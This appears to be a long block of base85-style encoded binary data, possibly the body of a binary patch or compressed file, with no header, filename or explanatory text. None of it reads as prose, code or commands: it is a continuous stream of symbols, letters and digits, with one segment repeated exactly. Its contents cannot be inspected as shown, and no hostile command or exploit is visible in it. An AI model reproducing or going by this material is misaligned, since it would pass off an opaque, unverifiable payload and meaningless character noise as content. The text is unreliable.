zXm6TcK(SdE*-)R5mDB84Si#$~Ng+p)L5AKy%|mljRz=XxWJIl;I$X#Bkj;v<)Cd7@ z#SWn2)fw_1BKuU{7}^i+O|@f{5t89GBC|dN`Y;aNgaUy2>hp`d1F@icC>nWYkQyiZ z-h4(kz6!#Qza!$TyTumTBHqk`+NM7+_k`lR0oh@+?~8D+Po$>kDl}{hsruS7Rh>+g zFLU9c4Z244$U`bmeNt()_s*+}bx(aRk+U4aDT=~qFpb(q-2r~^0Ln6GAkJ$EX{?_3 zPN9v;`Z>eEv%JgQIk4qRd7yUoM7O|x{O9zNY=Q!{Ta!aRO$M+1ZPa?{?=zHGMwOPi zIH|_R#U5ne>W?bS^1-yRsx6(CyCVxJ+uszZ!fPn2@E28XJqy{dZCOY(WsWH!aR(u> zQxVRj4>k&E()z4RsXgj&NwWdfEGtGX^M~Zs8s+zfijK;~m34=4TBjX1U6W7L*Fae` zEp^!rBc>UQvr#ZU>u<}gND9|Ud(kJ_(0`V5PM=l18a)?x1A0I)nH4F>HgAS-!YZJi zrhpL?N2;-A)(5BYS_UojU7FJJyWbJcYJ}9#hla-oQ(G!sy;V^Y8ZH6;{CeEv_Zk4l z9WYX)f_!p>;dvU7vhsM#Q;ZlpwtL|ub9^v6eQoX*xZCL*=WI~Q%gB4$ z*o1zh?A07H&D0rGZ-fp>4|VYsuF2Q(JIEK>>qVELwuC&S zDr;(9s)Kgx9soR3m~`ZL>d34MBd>yFODb%AS!e7|ni)c>Qg)*VP)obSNa9 z$cc%lwa_N|xlYGP7Gizd(_||x1tnTjX`!R&R!&Bh{#rWRF2KF0^K=Tm{WouER;Yf1 zRcr|&6BbdnK?k<>`YqH&%_Wx=6?(CSQL$O=J$L}ao9bOAPmRWsSy(k#k)8Q3sr=eA zL?(43n{hAM*^2QLQ18st0H})wbaxgZb^15VjaF*0K3ZNDOKn}W)pc`}pUVJ0vM0n} z_c-tM#bAZ*AUAAES@D@@jK7RQNwi7m69r?17M3A`uP*X*4>p(U3SPxbw0E6;n~_$h zu@@gOciJVmwI`slHyYC-^w*M?>wP2~MEJ3E{jVdONddKk>YZzKVL3wI-7JrSaiu<_ zU>~e+@szRwinv}0K`o2+m}?GD7NR51m%}u_y!vVOI*?TAKE1l2dq5YeQDfi++mlMN z2n!mTU^K{%T6`FCt2CRfR3NX*Fho4MldYoo{o6N?OZu|#`D`@u>wK9*e(8}GymQ&8 zsN`_6_w$j8tbj-=?R{3ImS5JBeWT-2w$6}OC($VJ9H3IZ$el)zWSV!+N5Or6 z4sx(R1`Se-B0wJ|EU1R=GaZ6cECg?%I$?Lco_ZeWR+|IVt+r&hYhKHE57)K5irk8f zcry4c!hsHE+1f#L%IAyQFSWx7}LIeZCNpVz&^UuF89B(1jeKj=lfklO7HS*7se%b8ekUW0S4 zE(L1dhm@}e=%unSI**01xH@V_oFQA%fSgKodo67n2MrvY9N|UDNfns{ zK#0Pw;RlebW}vpyrKqh`CsOT(QTF{6+2e{7wO9Blr?Q{5F!zX{j`})@Y#WW?_WEe0 zi^4#6SCR_P0=J>|=mm6Tu)HT0yebUIeT&+PXu9q!*Y%YrFWXZ#?;<2dGw{daaFbO; zZG;z9I_cufmUa6Blj!Oj$Z z$RpO!4dkfQ!4w~L=qN;k!C>J$?)newe`&~nlk~1f3*AaaA9eWc2TsWw7(JAXrI|xi z8kM?-9+3|HtdIWI#{kPC`v~h}r1jB_M}q5z5|$?ANpO8&N&TZqsgF2(3#2WP*`1{m zmAX0&!F;!7vHAXY?bmyeT{t|ZQEiJmI(S)7JYw&4`P&J|w4glp^pCQi`8|K0u@OZn>22gur#CrZ7LV&rxyOVL7ea8w8H}X3h!m=2*`6_cxnbc&G zk~vH!)Gfe#CNL^>E)QqJB;&TEHB1TnJNi`c3-}(^%@qF0G3?n63^c?nalktBF;kT5 z40mTkOydFx2|i}(j{B8b4O?Abydx%aP_U`wshCxn6A}WW=DMq)0p@0&0p`Bm0p`J` z0P_Q%Rz59#TKF_?ad59H@iV{lt8m0PAta^2;2$*rE!PVLoecr)z6F@GeKj53kB1VB z+x%+UW5#fd?^waFhJ9EzQ}}*+Y;_Iwp#e2%OndQsDkKdEJx}X8b~NT31-!u^Htj>Z z&kybIq#M%ouvP##gx&TDPe@`Mf638c@JTov(C%=6IsGA0KH*2dlM6B@J!Ea;*T95? zQPIYT21xF(2RbG^sl`EoQ4S5k2DWxS{N(A8kPv&BSNp5=SXkF;pazR5i2** z2duo4HLM-R-Qj14scZl9H7vDAx#rNoO32G=SoJj_0pDso*0l8Fu*}w1p@C^1mg>j5 z$Pjk>nY;BJ>;$5tMPB3gKl{HlW~nd#%m2X^pPMYy+d{qM&EQ1;n-cx+EeFAMU6{w} z{|8Ne@&A92oApC(mqqS}{}WNB{@~8DaDVt;@Z)|kM!}H(i{Uo8JNR$^n=JnKmjBU^ z|JPTv`aeIyR{z&b^nc9&tN)iI`RV@)hM)fTxB7p6Zu~#Y9sd{l^3MUQ36Y7$^@rb6 zh8Fz!W@?1qw!Q!#F#h5Hu=@1i5r>xp_fJ$GWL2*!b$2!5+^0m> z@|p+3?)dBc%-sIZ`6lDP=bL^~`VaHXkH#ha*|^O()!Mj@1%GYaweLS0H{NR9VK=NB zo%=sFZi18b4RvQSvo>yaqIzDddPk{OM?LmkyyXqiu#vLSI)0fc!!lWiuca6LJ$mo{ zd{Lv2*2Mnn%L;2|c~R;=tVoS$i>AuP8h?$cpaTOWz#RD1DW*+B>ku&_;uC(@KFI9% z)rI9BDGiEVIV}wsb&|K^6aLCRb`gER+CQRH?T^Vk%=C+i6%!|zyNT<^=ft-=>)U_v zUx%DHpjs{*@b=?R2ebkEpX0$vYeDF`XHWgSLft)$5nZs?dn`$l`J&a-iRG=P7Ewzq z6P0Ce<6j}hIQ})rR>e_uU|SV(l(N2@Q82A9=No;|+HsFz0Dd~21KU=*VO#S=p{t2P zgRvZ;B@&8|P$5eL>VI{zR`4~g=7_5%{y8LrjBW{D8h=r;)E7le}_HYW;|NffGM6|$Gm172n9#6+Pqi9)BW z#@xz|&|V33O%!_m<)=fgSdq3%XqJTh6NQc@3O%(7O_flngxnH^79|R`unP5*P;Ci) z`S7!KLlcF(81l3(Ktcs2bU9I|aiY*FtB|{d93-?MQK)31&;({ckP@;XbTl#>XaxH`}wB}x?6>|NNBo*d=rHZB?>uOg(gX;w}i4I#EwP7ufB#~ zed<|;3mATfoMP_R)$j|=Ykj*z6JeHHVFCnGP%xL@(?RM>Tf@?+>_2;!U!vj|tD=h( z-(*K|o)pi-ANGHWNtqH$G2SE4d@|r@bOQer{BUDW!g1~j zjWLBEw~JZk_`lU46JB!C-*EJ_fP5F4`5J$*GSbcz=|d#N$A$kyQ+(X`?-Aq6ggME? z>_=Pvlcy|r@_F#zc#+NBJDVcAyNAf^0Vea?|5*+G#%;%e98RMtF ztjWnYj7_$sF=kn4mW5_n7=9?Y)xnrh_VaMBCb+f&!F(=IbAF(^M@;Q_-X-U^{e+e* z1tU55pNjEA-XiY#PjNS^c%MY^dKPilpW=4^6o2#4f?hRI+}$GnxbP433wQou%mJ%- z`b6;$`F>qx6fbMo=}*!%v1>pg4jsLXT&hiJxO1E539bjl#nBT zw^SJwAz&2rh*^e*OlC{k$LLbs)0oDNXKim|ngACS1RK-%xcQi?w~qAj1lJQCj5Z13 zXhblNpGJFGIgNSzFj^ruV2d1b>>Bd@iS*aqN4V(?v-1?q?DPx6pG-48uAEty2pm-+vA9gIT zBrSF*I0-YF$5H1U!|>2XO9YskJ)ZiS7&3!5LIx3cxZ^Johd1^YrE0d8|jydq4A?Is?O`k`l-4r z-};A8#~(ti6APp2+(oE)V%`)vB-Jn6$(@;KECLLm0WlFATd1p%6~>*mhu!sy42wyu z)9jaeY~BP8zQ&y~DI>}3bfO^|ecmxA8DD`K+lfXik>pr_IoQc3!6mVLyC*6HKT;nf z$l1WK|2}w()iNb;!AT-Ox%9^uv{jy|Moz$ zA&9BPmGn%L*(I=o|J^{NFQm|cXC86;lZKUmvtCnj#PQI4q?u1J$p2ViJ3~;CXv6}O z><>5}Pe)cAG4qpiL?fsh{%{}lx$$lW#CW~^o?vv@BEB(A*Z`x;9$9Eiv&YhD5?{jq z)V~dx6aIb`Q4U*2SzqceZ{+Xy_4Cbl`5_dN=)wQ+=KV(g8!5*6VjWyYi04o1=wcU3 z(ZvGHEu4bPVYpz=c3wt6h1*C~y3JyG$4Ey~ z7bxf$S>3*5oGG$Di)Vi~ql?8NW18wtMwckH%$TM&oGt%q-CrKx3(hC$B{EJ6W^X9*a|G@}aJyYGAWG1VQiKN9*k=27WH(MpPSc<}r zHa10C-p{j~c*Wu$_7zc4>!~Eh+=2S7uaDM6MM*Pe`Xv=wJfogo&1C-FVqBr~Ci8yN zh|dNWgP~7mQ}}`WCUZc%snC8?cyzoeJU*v!%qkY5n1Ncv{@scnFRIKd?VS#KtGh&; zXZ>OfsPh|L!q`nPzf#=*wX59k!+97-%@A{&e@Mqjdmeo{M*7;bY#Gz^aWbYE#K!PH z&bN4ECVHkwU%7dKH7PeQw**bp#6%{2TV%(Fc?=kwzzxLFU;S8bey(!==ga7i zO7dAMiLxxCv$+M*>R*D!1ehDS1r%zO$+Z777gp(i$0SzGh{o2o>k+duC);iFnE-Qj zB&#DCZ_f@ev`UcqNPzh=Gfs6Phk^F?`|r6BsIyObjJG63-^f(MeRPpkH|ejsLGAVj zR*3E+sn)8ckVUv-q-9HeAEQU# z*O0+?f4O69)w0FGm;`3cNim|(f|1vWs36g{FU=x^F|kYHfx?n zml`hY-n@-2zHa1$&Ay(IKCORM{86K~&Kj-%an@i?_+&EIaWa)lV~iM2k1=j@@IRDB zOTT*v=}JG+eHck0oJ~A_I>}SV9(-jgSH~sPEiwz^n)l($yYS6q@gmc)*x^1-ZqHIG zj^z=vf}IOPFVNjHW>YzhStfN$-9RJ<0@&7;{a3f~l*}lRSf9Ah@;osyx#C?}W@^k#|Po1GrCjrm2s{O(Vjp)ZNvVA;P(@ed8VQQ#RX@E|ha$#IU*Yniw7T_rDP>S@i?#eA)E z0M~@b@M4s}uV{s)9bM*E>7@=8zRw5_v7Pu%XZ4*ttgiL4qT)MgMB)vc^Np2r{XO{O z84Pto8t{2YB$&b(-bHM^y?^jI8(bBqu;b}5c*k^t*LnBDyfFrIi&(y1<6~{fd(P@i z+T`tJ!`^eAmNqVO3Z@x`DW)0LuKBiQv|a)AU*QT2K|L%8BRa?7jmL;H_lkovGzR(| zpy*c~*-6aLS$n)8qqJI(R9V=#q^{EIEPb{zbCa{SJ`)X22z(qghz2q@0m}LGzL!kzk#jWK&BKSK;yz0ahFmJYC_GPvU@!Tcq zf@WBxE_Qt^UqWPATxca7bl?~AOLk)`*9piCWe+OnNce&LG#OMQJ6sn_EjiJLPa{0} z`~3ZC*o)!mOZAA>%N}esz#~ra2GKD4W2sGaz!Gt4T-%D&U#BaksrN_DNrMmae1*+= z#PcOo=X<=XT=MeBzU48CT#8p@UejKZxq3>k(eWRw~o`(hXF=IcXHJH*!2h;0XB^XHr&l_2E@RTTs)!4{fyEhvWuF!r>+lHW zm*FPcW?pcflHLA&=JRig&jm;}b5KJ!dwGpUq{bSH9kwsoDD3d}N^fS9vvyNy=6SEM70<(=FLyK02#kk})>cG2zmsKz^=tl-t|m)K~=;(xAoB4n>v051B+@7_F1|&Jf3iCYf1! zW}}idr{rjn;mDg;=8Zz$XwZpF^~Flyl;&Toh-Ltiuvo;*Smt9T`-+7G1{cOe%qw$A zrV-T|gMul3eO}kORK$eLmG-2g;^#8gcx-^XnQsK(&{~;p5Lqs*ut^V3bc_>WVASj3 zK1s--{kZ=$$sY^K$^~T=C^lkIp09;(&ea;cd6rdtGx)r@nBN}zcLBdE_&wA9t?_$- z*05L*Y@eE?g@3QCorc8^#n1j;84HmgSO(8DQACDmXsF^U-7g_~RMg0WtGHiAG5PAZ zNW!qLHm10GyEs5ay~WusT>--t;y+G>VWrP??7OD)xjv%(9v2;a-==}sI!gMGp>mJB z&u^p)y?eBX`f2uNP;1tB1QP28^Q0CLO~yR}d(z$V)4Y##p_(}pyf)=CCxvA zSy%%Ht#XTG=dZCRnd;;jf*rzudEQkHPMK%nF7>X;l1WL<;_oo0oD_}PH z+ZsHX?9ud7X-l1N$6A&1GFL?hhvVm)?epR+#XlcE-)Nu5*x>w?@$s`FmX zuOtYt-0C@k_2D*wggi*W#NzdWqRuqrnM}yX7Ni}g?|YO$HL`cCicj0Rv0s!_V^3vx z@>1lfFMRE)U%f7FL4mdPtNrTVWu7z$DPnXZg z@fo_y@7^3N_lr*ND{QjzeVE(QD$7P>Wdtu0y;Kjiqz7A3bMv%FS*_-7bXGT7K-FrY z+qX%xlWToOS%aAg%q_o>YoU4%Fa?(Y`S;bN`3S}%-I-j=uYKkZ)h_{j#H8GS)@8E3 zHd#Nob|=^OIdib`3jDp9&6%{XO`f!`-N*Fg^0XeOChf?0hj}NyOy0(uzJT*w0Weq& zLhJH$_Y6nN(`rf%J}zj|jLF-y&_|BB!_aLeLoN`kzc$GymC|&+#%vKaK+rn(d>#y1 z4>rUcS@uJB;>cDP_dF*gYv}2Qv9{&K9MLrv3(;6-@ESO4%kx^+av|1|XOb9vSHz6s z0-NYxrWsArps_3!$?vWtn3IQoD2@S-*w30x^`sNUbv93$$b&H>hR5h#%z*tkq!|Fi zqF!1thrS@>o2wbKpx6MCO(s&G`(?{)(u_sog{^`N%Ei>z#^x(Vx$ecVq zbcglag`J0SU8iB3$}oyOXbt06WwLwcb)0UZ&-s|GkUNF%3Vp4g>Af1WVJhl+ok!qb z!oG1h=hoqzdpWS8h3u`U*^ID^jfH%p)+NTnv(i@TaQx0fP-l;MGBGT%kq`DBR@WlA za+*C8i%P>lYk8Ft(e8Q3YV7eEjeJrzn{SUAEJjH>7T!fiVgt1(U-K!AM+T~1kSeMV z9&(2-Hb6g#4^V9U?D2^@bZ1Gb@%ejjri{%gjE&Nd;^U)tKR!{%+(oe2?ZReaPTKzB znc~*+8&li$r180v$3Ao}DOEpcN;tN2Q;K6dH+8NKMxso=$wTdVM;u|( zh@+`I``Jo~W!Tr5y-=06m}&Bv^iSBxrS?G77T3o(LVOCl%~N&?vYQq!P_CMQV<>7M zdlat2!+?9Ib~7HyevR^DW_X-O(xEHVnU(3`ai!LsN$-grihh7O5YwMyL?bWcuiaVu zey|TduF1d8NozgMmKKV9Jb5;Nq8k@k-hkWw-T}gaKnOvg7{^s$XYE$?OLyU6Z2Xd$qwDAf<-%Y^JV_LmvWjG!o}OtqT1JYV#ZHm~t~{X1FV$&6gC z(lEw5s%||gEqJ!Ae~g%zH?J2#7guX9AE6kdk6aD3_=t@4^193O=AkRB?sr^F;oy2^-g2edG1oSm_o1qgWuY6ix=S-O`*p@->`?p(N$(@eBmO?k zy(^IIo|HGwjh-Q^aY&5zduUmf!|XjU0KVU9E`wow5iL(12uKHmD&!p8#GvlBi% zf{*X3^y%pydACtgq!pGFXrbn2ZB!Z(G;oS{)oFawPSqd@-3+Mb%d9#cTYYjJk!7cD zAQ%`LuLbGpBT|E?xpyaqtTTuuHi&a^`x{fNpCNfgcd`f`2A`AcG%=T=`zP^v><|H12TQQ<$N$0pJLk?`A_;b2`yemi5g zU@`^2)g3aw$>1gP+ua{q^py+Ib{agzZx`W?WAHlioAwVmnVR3u@`bO1->&P1-)`B? zqeseb6KsCFLhvB`R`DP68{zE^{C3Mn7Cs!$b-{t-cwa5|N-ZXNW$|OSSs0vmz<$dE- zjl|~{=`N?8a3kmPrmI!Zi-ds&vZzB#MIYv?B?7jJm8Ht`0x^@cw3hVRj=-BuoL z<(W@oEb0ah-m0q=58~$sHxxCKrhni2QY`dS$<<1px>V541Gtz&bWK~+wgDj zM1jfg7|o)#^j?)=M3Vgjr*L_O_3Nq2(=(Qpe-i(ZzO4LXZ$wY83=_6d_j5`lR(WdETZdYU37*`j=;P7j zj!SFJu}=NeI`tJ!`3?Ndjpk+WqGu@RWekg+8kpvBK82U`0TnTWZx0%;5`7o#Cy?)& zBK~wqbT;-Rm`yi!nU`-xW}w#Kd@|7HJq#_=C2E#3{?PS{MVp?{va2B>7UC?f^lA8; z#xcuRH_6Zvf4~VD>@R2tFS zqHgqNSWEKe>0)HglvSpkr#L zh9y;uiO+Zqr5s;+u=miqmfm=5qk}z93`FMb^@oS&>mc1>I}y2W*pBGnO?-ua4K#`g`yjR@R=hHX;lD&ZoB=cpKUif!0*OOIrzi|sL z0*O&77Y-`Af@-UIhDME%n1+L142$=-9f&fje;Xh(!mAd9e&aMfbfDkdS^mfsdoPU) znuOOxi<~;LpS9jnN3AB_zr8&$wlXwgWT3B=GGV5-{!;=rL+v~=<2j$P(O0+`e_aOt zx~!bwKqNixXA^&&UbtD?zMm3p;CWEVd5pO^Lh_Noeb2O%& zLZIKc1ml63ZI$`8S8#O+G0hTIm=kwrR(Mxk$XFmi9_%X$8jcq80=d_i+?WYT5s%l6 zSDbe@bCawSx!}pR0Z=?k0?_A03Lz#I<5W`mdCpNC!=(o+wSfyG1qq2u-hyksgm;PExsq5-v)#D5P<)CbOi;AE+j~QYK(FNu$oY zmQb%C(XfA2qFv`*-;irvQ~aDu@93MB)-pz2JuD2~!gFS})y)(bd<}R0kz(+4Y5GwV zPzL8S!r=3LXmW~bvU?29O&;hZ>~)iMe7CfjNt?D1uU;&I8%m$0g>I9;fo2R;Lggh= zxnT?##<-ooAj5S)_yb*PdLyjZZ|*mJk*NsAQ?4RLUz6E^g?jyLYkjKwM_41VR{6gyJsKrx?2@p?ER?TS6mG?lmTx$wKi(098Wq@m5?{vi1lCC&UM#t-N{Bp*YviEv@arn_ zZ^=V9qj4~KSoeb@d8kC;EsrLN!qDN1!p#_&=E%nGL}4xt)gxu(TcqjNFbO_8Mm}4b z{ElieB_p?WmaqO@2{G6WBfkjWnitci^wXB5Bd9>ooh;3jYpG;uF%7kR#8Q2LIGovN zrU0-SgCg~8^gSG;M>+)kr0J`zravQD`ZNh`W}AHSr*HTeeSlokMk;L?VeJ!(;~ln-@J?C4Jz75(cs#jTX2efM}s^h z&cd|08{(!WhNK+@8dTGbt;sqlWSeDc4oS|>Ro;>g_NE#W=aPr*LD$Tak#=H46TL^J zZuvSFu*>biYaQbKWBRZi3Zr>ID$AE2dKidbbbfDLS@nCtLCOMA*VDKj9efv8oloH& zid4}JNp~12x>kgoX+;N98Nw9h=FGiBr)tbLKDU_fsLwam=PT;G4;M_0xkDXqQJ)*s zXPx?7qduQhpTAR|r>OgXrj8#_pZ}*mYt-kr)n~Q(yhD9TY^=td%jXvJ2KluACE~v- z2_{c7GDyz$lWA#eBzsmfYTD?PmRZweeXX>dLBOFBF*m`-}U(C+o(wGVNjn-eytysx97N<$)iN=&bXukJW+%=s{wg80hh23-8sbJc{@aiE&_1W9MIh z5*r;n^r3-ima!jNU)<%9SpH+YK;~<>2Srq2G5nRsksR4g_t+l6vfktssC2OXJ_(OD zMF;=+K`Ycja-#_4CF&;?GC01OV;@Nf2DKKl)%kYYS3`BQs*#Sg;6Ck|?ONoN49SN4 zV4Rf=xpP=uWw;C%y}!Y1`n|+4p7N7Xh`bR4rNO+OKo6SsbiCd{G8lue;%yQG>lF;H zomwcGJ$H^TGUXG?^MrkK>g$BU68=St({7=eZbDMae#MFu>c;A$LuHB1$!!}li{Wz)Hop=3^anuUiZEH+- zw_|vz{t4t5UKDg3YpNetRpi{q0D<{ki<`D%#k37}Hf_)Mu66)`Zv2gfW&Xmy+5WzPF@GQFrtkU- z*J0bX4p4^e?`%A3k%^}X-TVn>q-4?VQ*;ByKXTr69unABSkL{hYK0%gF%#HTV7@hW$(n`Qu%!9?S(%^&K5_)wd67Z~U6hnVZ(g zTkcV86@j+hje!%fyh#SV{Z*AR3n7>7G@FR_sQBTwA6aJJtLlYAlWY^HKJJoAnTz^m zb2=}xoqPV?GCltoRgJV#d3z#5LJ~{Af%~?`Z27HxzQN}f^D@rFW=8AVXS|fC29gLI zctkYl;i(Q?twzoMtznCZ>ilIOpGb~~Amiux&HU0Ax2tems1C(le036=3q2t}LLX(a z{MtI|<*ZhT+M$n*b5;)&ropmuE-|=DG1`1|cvhZQ=gahpbHg8gViqv)C24)?ip;+# zXS`X00xCpyCYX%XcnQdBB&a2M?LXwaL<_#7P9mYMkuye{I{B-lJD=dZ+}OZ5RS|~8 zOUo4y=DGMc<3Fxk4H|VWJtF*sXDH7c|2Wst+aeawLSL5%edRtS=k1e{k5rwX3+Pr( zQgwcwb?i#+urK_ibw08%SK2F(d))1TQpqBIPUapOQ71{(=TNC4;jx77s`HCgdt(V2 zY}LZc)m^cs<+fICvd*JXT_Vha=tk{jbl z{v~sSl^sA)Qu9WI3YQ876p>i!to8{Z5jedb4^4~Ij_^i2Q86i`8I`f1#_C3ufYc}h zS75&U0)R<^0i|mWm_Porptn&`#(BU^R4`i3C{*N%@>qmYT~PmamNygL9iDGA)SFqh zxoFX%G86IOM+dK1VG~^h=+V_AyMQRlXp+D!$_vbQ))uSc&xPaLjgk)w8=SQ}`_oYhm*!55v?6VyRD zC4xC{FZ|GX&t)8h7q-Ew!xx4Ywx{1Q(3sR_z2;n%$4K8~bl_c-foion&2}L^nQwA3 zHle8%de#aMN@svoxoBpJfv=NpppTgB3JiC;s?~W}hv!bCM%%Uh+r4!uU5=AvL0H z&ic_Vf-QIU(Tu*t?V{xlUD6Gru6ZZ6WFq4_(%Qu^v@KefD>*0P^{XI0$@(e6`oRK< z7uu#U)YLcRonl#y`M;!EOqzM&?}T;-FPo3>WPCOAn=DK)&*64;cW(0C)GxH|zRJFP zj_H=W50HDV?tbTc@wS(%bO3WFGM(nnRu92>YvBTg%)iR zV~a{VPoY#U1uRVjDq4(3HgFogzxqo5m`&0Gt z*tugEIEH~^7&wN3V;DGwfnyjrhJj-kIEH~^7&wN3V;DGwfnyjrhJj-kIEDcW1L9K8 zvzI0jY9{GroWq>H7DuK;GjPyVORZ#|k^QF!@ldi!K(Slk8D#To}h)VCe7?+YW7sQ(}L6md6}gv>E>}wa%oHf5rY6_kV**L zvzn;U{1IUV*)@O|KE8jcnLt2a6My3j!rOAldG+hFqXw%!m|Z7M)yXPQQGL+N0ur{k zP&j^HibT~B70F}M1{bBka+Rk)oGwcoahtPh;5HX!Qivg)pl6C z`BDa(NK}BOWAWnIL;SMlUvdG=X>wjVEpMggGwEiL1S3;aIOw_WD!0Mv6s};^p}bg! z%Bc=#&LC?+f^KxCqO!r0D**zhvo?p-e0ju)3Mj4?PTHyhuRA{@x3VUV`X*B9N=41K znIAkxI}%J&LsKpQ9}2Jsh3~7R(RUBu0+P~zLx7A!vh1xRg2ck34G%>}dP3SyYI*`n z11Rv+33ExCd`y2p1vm~5Qyt)A6`2GA65}Zg5znuejwg*{KO;v*vB6USNs7xq<(48H z2q-ZgUE3c@EF?wy!`SOZx~vuPSA3ASsI6lZYOOkARvt~qp49nd0pxDlT_dE*zdL_oE}yY5SF#Gv(MeO3+7yyLA;}fQLNY5yhlkJM!#5{Gk3J*8 zuqv?7`lM#8Rm<7h)17y{&lyU7rfZ>Xy-9_*C7T7Ft*4W{r)_WHK2kw^?sn^Jzj2YQ z5yX%+=je7VG6f;E*}UyXA`YA5Zx1ib9UmEaAxR0c&P)KgOf!bT?B+H?gw9$P(Ew1^ zS>#@f4ws&lG0rZf6I+mzYo$(4Ks4^rB4gT#+?_UmimW&#?)l^o4n&7-Y#l5$jk> z2ENUwmJ6ZFBtHS^-{0^TvW#-4`5>o>)H-Fz&ZjV_8nV#qpTq#nl_8U%OCGkNGHh@E zpA6e+@YEABgXod0Q}~8|dxMLWT?n>?*=37)GCIT-^JO{yZ~f~|et9HQzDUHCCA^4$ z%0^6udk|3$U*UeeKANqq5n0B+-afLf)M9<2=aSYeDQETV2p=--T7>M~YlSkRLK!2| zb$1lX09}8!maSU}4BtoEQ!GUUa)B0ls~LjnrAL%XqCPA#60s)pe+%Q|ruYsI+v{hARcXCWgW<*_2YylhI&UsDJK5G4&Ph(d!TN zijPL7j{-y0_rR;9n^Ww_9u0J{j-#ZR?1MctD(?C|ESY5 zpFwr=fp;#zZ*M{X*c2GE>a`wG5+0Ib8KY4+4|iEaNtb z%W&{%QpM>ipK+Z-cfZ7*E|Kwh=4plu>1Ojp`BvM5ycB#(ZdH6P)tu@&@HvFcytRv4 z5zil=HveK#+j#yHlwV)?621PdUjEE|zA&Z%hkE8dc25z87i@K=nf<>KPQT}sqewZ2 zMv~ppSFy0V-)NK4D>5HY4|J2iaFhP0hmG^rm_IYllQoL_&>>#X>OamBt+?L2M9Tyr zI+MjFNi*eY{YP9{Yh7y6SE&crm>IgeiOGXx9n1(Ok4u?6Qa*t!M_#DOq+WA3iO6VB zlSvLmqao4;p~yUKb|a>X4=G`6PcfD3Pjj)l0!`A|>Mm(2$^1D3FH^||cteZKVJdlx zsbow$S_qTL#z23w`C*}vHcp^%?a^Z5Vs>i-AK_~!R$jqh^4%el|PpT-}*?@#6)p9n#x&;5Gf zRAyfDx1;Gfy%PRX+=I?O1rfN#ypJm}#<@|%3cKe726JY!S$s1Oh1OMYM(UrzFqa}z zHfyV5w9#egwb?r=dgLXy%}Xoq0pH<^^w|v+B5IZGCGuY#cgIY>VH~%ZLz~mmwwMpe z@#pwocl@ZPUZtPGk7P#Kv#+caicPNZ*_YYXSxr_g?6m;)I^^k>@Ry-P>bWy5KkGuN8=hOg9k=K@qV&`{mcY@e#eNh z!;JiTfbG(sHxGPY1Zj*IHz!27Ov+o#SGnAAQvQh;gsCUxtxZRV4h}LtZJp+0rrU1D zM{0igA~PAE*o53gJ^C;Z>O1Qhu45fD`eWRIW!Z2iLd!Q6^^hbAfSa z54n2bPFe4FWbLst8-*o7u1x(h-vf1kLK=FpUih+J_$nElyL^%H&4?-L$a)g{8^qt2 z)z1dMpKKHa_=EcD4Ox9`=m((+3Gi7gjIRrlQ>zq+i7`1iNW|c)cR_uWrAvrGu@6LV zpwOnZWtp-MG-Et^!)`5t`XFW6xs700G43#h&&%xyS`P3Pc>uRA*itAzfx(toh){LKO{$DDl%W6*tM}bq0PLtw3?#v(G&DZbcf7UVn_#E)ZpON+d`}}dEENzMmI6+F6jwN7rbcp#V zw3>=PHr#wl1OL;H@yF+YKSnS9Jn+Y;D#agr2f!a^VYM6uNU$( ztLVA0S)PsFXFa=IZX%R^fe-&R5BKI-Z=N$GQSGh|Q@PxH#(wfL?vM?KE6d!o^5$J* zITlp@*hCdma!{rEn|brb`3#9>$!^>RRfo5V@!GZF0ISpM%+A!`;@p2 zXmB>5trWyaz`sBDdESyigKdiu^=lSO;z0`KBa(sQp`l zxe0%sv5_UQ%wtx4Vz!i24{GiPs%e+G>BS|?9tY_F081Z!DOq5I`!5vee_;POJGsY< z^fvC4RrLfdwwlv%XK4lw26hzL5ZeP3*G9+vKU43tdvxgaa9ce}^u3lm#3QBeyX|KW zpT2$elikzzEaqkg?C|M(5AJH|P!fH=VxRil(D%6(z!rVy**|)u?=$Bgqi-ueqm%sp z=vzll-%s1m9zK0n+fQ~+-%~J<|7#?;fM? zl=S_mg}oNpctkUlelpZ+km(}YNjRl~VbA(=>?b2~6WYlzrJWePE!|{7%134LEw-PV z%pGOM*-A6{dXi@H#5HQD4qGv4zCjU1%clv&m&|LW=0ypM0R0RRua{5cXQfV{QzRm@9q~oPs-`eu?b8ZqHc{Sa5zo&&cxJS~-GEk$9*Bj23_&RCfZ9#5dWg!hAucou3BS%wNe1 zbtrGf9tWhrrYtvlxaQMA@BiN(-yz@Yguef^@x4v?NsMB&F&-8-h41SJ z8|KL|HYWMsW@GXzH&)j4$jGM&BcGhavawyI68xK~nD zpPdogA_dx$h4z%#Xb+E%HcJXNTI+jy5ZnhHZzEGgb*j<6vNKSv1v1)_$HS_ZZ1YEp z8TBH2)UW@>|IDa=4#wNb5`ms4>Horb-}Xo+plt3=$EmQ!V~_J)BA5OLgm|30rJkac z2fjkeGWv|0UD}`QVA!45fPUjOS(r$Q9tp~Ki6Soxwk!0=Ib_$#B4Fd@T=rVkLK}Pg zxG+mO?KSu2`S1;ka453mqcY@7+}4=0^C4rNZ;!c0GrpNC!&~l; zj66Y>qlPxJq(_Z3OXK4sZK{#}a`H&CdY?nFQD!Ih=gg0O zC__3qeay1_i$-rKy(nE(tCsh2YuAA-u?M#GY6g}}#J`)XX&~w0@Kh9Cm!mDFMx;c{OX_nja`cyxw$y71_Mn`MC82m!(8qVo|FiLZOnj>{zRz|)zDt$=RgG_{^XY>R z@J(3Se&ZQ0tHl}M!0qt?{>q^Z@D#GXtpPr>LrY(#B?g#Q4rzeBkmVM01_C~L5RT%p z(x0W2#1%?NCkkR%3ypj#z~2WK7ps0_ONm%rd3T+les!GL-P@f@TjdmfCDEcbu_!^x zK762-7-eYg50J|rh*U?(K-b!4{$+{?G_}5H!MI3&b|%`zt}E=KF>HtV?}c)0tb@h$ zES{GExy7GYD1WZCfHqOvAk`xI>vR^$ua$R%FF`kx1@bU9OQGyi4pPQ}g*CUFp=Ivo zy?%Kw(%!s{SIhm$_XSvSk(I;K9nPAqcgk4Z1EKxb#)l!Hl8iwn@jhQ+8>_N$BI+*L zaHf7gJJ)Y_-aQPij8|1~%Cf7avxQMRmr-C^Q7d2jvhsRd-j6P{C>B7B>cW((qZ%ax91Bv91_2;MVs7WJ_z9+#Q}_u&*kxy zwnX58B1Pmx`=lPj&8z^!CjGl!*rcz1>{0da%Vbw+``%$myiDg#eYMO@x_c`NM%mm&iYG*} zbYJA0XW%Z_>lvMrER?LDutJ7A~m{+WGVor&Yjve);c#&ipPnVY^FOQG5=5it6 zL`yfHmb+LXA8pMV7B#4OU{%yWN&W_fR4}Vpn9s^8y>Pvhi;#8Zfr8}yDZ?YQuvFW^ 